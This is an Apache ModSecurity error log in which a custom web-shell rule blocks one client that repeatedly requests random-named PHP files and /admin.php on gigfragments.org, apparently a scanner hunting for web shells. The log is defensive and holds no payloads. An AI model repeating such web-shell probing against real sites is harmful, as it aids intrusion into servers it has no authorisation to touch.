[Thu Dec 25 21:38:47.363756 2025] [:error] [pid 22044:tid 22090] [client 4.241.194.62:64183] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ox8xhkkw.php"] [unique_id "aU0-Z3PTC5rQKTB0FQ-RrgAAAM8"]
[Thu Dec 25 21:38:48.175896 2025] [:error] [pid 27869:tid 27876] [client 4.241.194.62:36420] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oc460l3x.php"] [unique_id "aU0-aBNK7_n86kBD7qfLuwAAAIU"]
[Thu Dec 25 21:38:48.615885 2025] [:error] [pid 22131:tid 22148] [client 4.241.194.62:36455] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oc460l3x.php"] [unique_id "aU0-aJvVMtSTB4lX2fYq1AAAAE0"]
[Thu Dec 25 21:38:48.994243 2025] [:error] [pid 27869:tid 27878] [client 4.241.194.62:64894] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oc460l3x.php"] [unique_id "aU0-aBNK7_n86kBD7qfLvgAAAIc"]
[Thu Dec 25 21:38:49.400653 2025] [:error] [pid 27869:tid 27894] [client 4.241.194.62:64858] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oc460l3x.php"] [unique_id "aU0-aRNK7_n86kBD7qfLwAAAAJc"]
[Thu Dec 25 21:38:50.017605 2025] [:error] [pid 22044:tid 22080] [client 4.241.194.62:36444] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NWqz649FIe7.php"] [unique_id "aU0-anPTC5rQKTB0FQ-RtgAAAMU"]
[Thu Dec 25 21:38:50.565591 2025] [:error] [pid 27869:tid 27889] [client 4.241.194.62:55705] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NWqz649FIe7.php"] [unique_id "aU0-ahNK7_n86kBD7qfLxAAAAJI"]
[Thu Dec 25 21:38:51.113126 2025] [:error] [pid 22131:tid 22160] [client 4.241.194.62:36429] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NWqz649FIe7.php"] [unique_id "aU0-a5vVMtSTB4lX2fYq2gAAAFg"]
[Thu Dec 25 21:38:51.978160 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:64154] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NWqz649FIe7.php"] [unique_id "aU0-axNK7_n86kBD7qfLyAAAAJE"]
[Thu Dec 25 21:38:52.731157 2025] [:error] [pid 27869:tid 27890] [client 4.241.194.62:64834] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nucqsqeg.php"] [unique_id "aU0-bBNK7_n86kBD7qfLygAAAJM"]
[Thu Dec 25 21:38:54.384294 2025] [:error] [pid 27869:tid 27894] [client 4.241.194.62:36458] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nucqsqeg.php"] [unique_id "aU0-bhNK7_n86kBD7qfL0QAAAJc"]
[Thu Dec 25 21:38:55.414773 2025] [:error] [pid 22044:tid 22093] [client 4.241.194.62:64854] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nucqsqeg.php"] [unique_id "aU0-b3PTC5rQKTB0FQ-RwQAAANI"]
[Thu Dec 25 21:38:55.900677 2025] [:error] [pid 22045:tid 22122] [client 4.241.194.62:64961] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nucqsqeg.php"] [unique_id "aU0-b6sGGmXjDnvlmHtjwQAAAVQ"]
[Thu Dec 25 21:38:56.399274 2025] [:error] [pid 22044:tid 22078] [client 4.241.194.62:38825] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aU0-cHPTC5rQKTB0FQ-RxQAAAMM"]
[Thu Dec 25 21:38:57.040689 2025] [:error] [pid 22044:tid 22098] [client 4.241.194.62:64158] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aU0-cXPTC5rQKTB0FQ-RygAAANc"]
[Thu Dec 25 21:38:57.776176 2025] [:error] [pid 22043:tid 22057] [client 4.241.194.62:64134] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aU0-cT4YVtlb2Iz_QE5H_wAAAAk"]
[Thu Dec 25 21:38:58.390019 2025] [:error] [pid 27869:tid 27880] [client 4.241.194.62:38803] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mhpglaje.php"] [unique_id "aU0-chNK7_n86kBD7qfL1QAAAIk"]
[Thu Dec 25 21:38:58.750311 2025] [:error] [pid 27869:tid 27881] [client 4.241.194.62:64866] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aU0-chNK7_n86kBD7qfL1wAAAIo"]
[Thu Dec 25 21:38:59.344678 2025] [:error] [pid 22043:tid 22055] [client 4.241.194.62:64852] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aU0-cz4YVtlb2Iz_QE5IAgAAAAc"]
[Thu Dec 25 21:38:59.911438 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:64174] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aU0-cxNK7_n86kBD7qfL2wAAAJE"]
[Thu Dec 25 21:39:00.618276 2025] [:error] [pid 22045:tid 22119] [client 4.241.194.62:38842] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aU0-dKsGGmXjDnvlmHtjyAAAAVE"]
[Thu Dec 25 21:39:01.451228 2025] [:error] [pid 22045:tid 22117] [client 4.241.194.62:38814] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/KV7EGJmhHzX.php"] [unique_id "aU0-dasGGmXjDnvlmHtjyQAAAU8"]
[Thu Dec 25 21:39:02.098508 2025] [:error] [pid 22131:tid 22147] [client 4.241.194.62:64135] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/KV7EGJmhHzX.php"] [unique_id "aU0-dpvVMtSTB4lX2fYq7QAAAEw"]
[Thu Dec 25 21:39:02.437764 2025] [:error] [pid 27869:tid 27886] [client 4.241.194.62:55718] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/KV7EGJmhHzX.php"] [unique_id "aU0-dhNK7_n86kBD7qfL3wAAAI8"]
[Thu Dec 25 21:39:02.780520 2025] [:error] [pid 27869:tid 27894] [client 4.241.194.62:64187] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/KV7EGJmhHzX.php"] [unique_id "aU0-dhNK7_n86kBD7qfL4AAAAJc"]
[Thu Dec 25 21:39:03.137726 2025] [:error] [pid 22131:tid 22143] [client 4.241.194.62:53303] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ijNdPI1Orya.php"] [unique_id "aU0-d5vVMtSTB4lX2fYq8AAAAEk"]
[Thu Dec 25 21:39:03.597019 2025] [:error] [pid 22131:tid 22133] [client 4.241.194.62:55733] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ijNdPI1Orya.php"] [unique_id "aU0-d5vVMtSTB4lX2fYq9gAAAEA"]
[Thu Dec 25 21:39:03.979997 2025] [:error] [pid 22044:tid 22078] [client 4.241.194.62:64877] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ijNdPI1Orya.php"] [unique_id "aU0-d3PTC5rQKTB0FQ-R1QAAAMM"]
[Thu Dec 25 21:39:04.769027 2025] [:error] [pid 27869:tid 27873] [client 4.241.194.62:53295] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ijNdPI1Orya.php"] [unique_id "aU0-eBNK7_n86kBD7qfL5AAAAII"]
[Thu Dec 25 21:39:05.102237 2025] [:error] [pid 27869:tid 27881] [client 4.241.194.62:38805] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HPum4ZEBJRC.php"] [unique_id "aU0-eRNK7_n86kBD7qfL6QAAAIo"]
[Thu Dec 25 21:39:05.808046 2025] [:error] [pid 22131:tid 22149] [client 4.241.194.62:64159] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HPum4ZEBJRC.php"] [unique_id "aU0-eZvVMtSTB4lX2fYq-QAAAE4"]
[Thu Dec 25 21:39:06.526866 2025] [:error] [pid 22043:tid 22064] [client 4.241.194.62:64179] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HPum4ZEBJRC.php"] [unique_id "aU0-ej4YVtlb2Iz_QE5ICwAAABA"]
[Thu Dec 25 21:39:07.297143 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:64880] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HPum4ZEBJRC.php"] [unique_id "aU0-e5vVMtSTB4lX2fYq_AAAAE8"]
[Thu Dec 25 21:39:07.956388 2025] [:error] [pid 22044:tid 22092] [client 4.241.194.62:64150] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "aU0-e3PTC5rQKTB0FQ-R2gAAANE"]
[Thu Dec 25 21:39:08.638926 2025] [:error] [pid 22045:tid 22116] [client 4.241.194.62:64146] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "aU0-fKsGGmXjDnvlmHtj1AAAAU4"]
[Thu Dec 25 21:39:09.398170 2025] [:error] [pid 22043:tid 22069] [client 4.241.194.62:53253] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "aU0-fT4YVtlb2Iz_QE5IEQAAABU"]
[Thu Dec 25 21:39:09.921939 2025] [:error] [pid 22045:tid 22125] [client 4.241.194.62:64161] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "aU0-fasGGmXjDnvlmHtj1QAAAVc"]
[Thu Dec 25 21:39:10.448552 2025] [:error] [pid 22131:tid 22141] [client 4.241.194.62:36425] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aU0-fpvVMtSTB4lX2fYrAAAAAEc"]
[Thu Dec 25 21:39:11.199127 2025] [:error] [pid 22131:tid 22157] [client 4.241.194.62:64167] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aU0-f5vVMtSTB4lX2fYrAgAAAFU"]
[Thu Dec 25 21:39:11.815611 2025] [:error] [pid 22044:tid 22094] [client 4.241.194.62:64971] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aU0-f3PTC5rQKTB0FQ-R5AAAANM"]
[Thu Dec 25 21:39:12.620765 2025] [:error] [pid 22131:tid 22142] [client 4.241.194.62:64171] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aU0-gJvVMtSTB4lX2fYrBgAAAEg"]
[Thu Dec 25 21:39:13.644336 2025] [:error] [pid 22045:tid 22109] [client 4.241.194.62:64182] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aU0-gasGGmXjDnvlmHtj2QAAAUc"]
[Thu Dec 25 21:39:14.448704 2025] [:error] [pid 22131:tid 22135] [client 4.241.194.62:64893] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aU0-gpvVMtSTB4lX2fYrCQAAAEI"]
[Thu Dec 25 21:39:15.126045 2025] [:error] [pid 22131:tid 22159] [client 4.241.194.62:38836] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aU0-g5vVMtSTB4lX2fYrCgAAAFc"]
[Thu Dec 25 21:39:15.881979 2025] [:error] [pid 22045:tid 22113] [client 4.241.194.62:55692] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aU0-g6sGGmXjDnvlmHtj3AAAAUs"]
[Thu Dec 25 21:39:16.925341 2025] [:error] [pid 27869:tid 27875] [client 4.241.194.62:64129] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BMjXQkgwpeb.php"] [unique_id "aU0-hBNK7_n86kBD7qfL-wAAAIQ"]
[Thu Dec 25 21:39:17.793415 2025] [:error] [pid 22043:tid 22048] [client 4.241.194.62:64860] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BMjXQkgwpeb.php"] [unique_id "aU0-hT4YVtlb2Iz_QE5IMAAAAAA"]
[Thu Dec 25 21:39:18.542935 2025] [:error] [pid 22043:tid 22065] [client 4.241.194.62:64140] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BMjXQkgwpeb.php"] [unique_id "aU0-hj4YVtlb2Iz_QE5IMQAAABE"]
[Thu Dec 25 21:39:19.149720 2025] [:error] [pid 22045:tid 22114] [client 4.241.194.62:64836] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BMjXQkgwpeb.php"] [unique_id "aU0-h6sGGmXjDnvlmHtj4gAAAUw"]
[Thu Dec 25 21:39:19.498374 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:55708] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FSCMNvnjPX4.php"] [unique_id "aU0-hxNK7_n86kBD7qfL_gAAAI0"]
[Thu Dec 25 21:39:19.932972 2025] [:error] [pid 22043:tid 22049] [client 4.241.194.62:36469] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FSCMNvnjPX4.php"] [unique_id "aU0-hz4YVtlb2Iz_QE5IOwAAAAE"]
[Thu Dec 25 21:39:20.289584 2025] [:error] [pid 22131:tid 22152] [client 4.241.194.62:64176] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FSCMNvnjPX4.php"] [unique_id "aU0-iJvVMtSTB4lX2fYrFAAAAFE"]
[Thu Dec 25 21:39:20.709038 2025] [:error] [pid 22131:tid 22149] [client 4.241.194.62:53269] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FSCMNvnjPX4.php"] [unique_id "aU0-iJvVMtSTB4lX2fYrFwAAAE4"]
[Thu Dec 25 21:39:21.222119 2025] [:error] [pid 27869:tid 27887] [client 4.241.194.62:64993] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-iRNK7_n86kBD7qfL_wAAAJA"]
[Thu Dec 25 21:39:21.821896 2025] [:error] [pid 22044:tid 22091] [client 4.241.194.62:64186] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-iXPTC5rQKTB0FQ-SAQAAANA"]
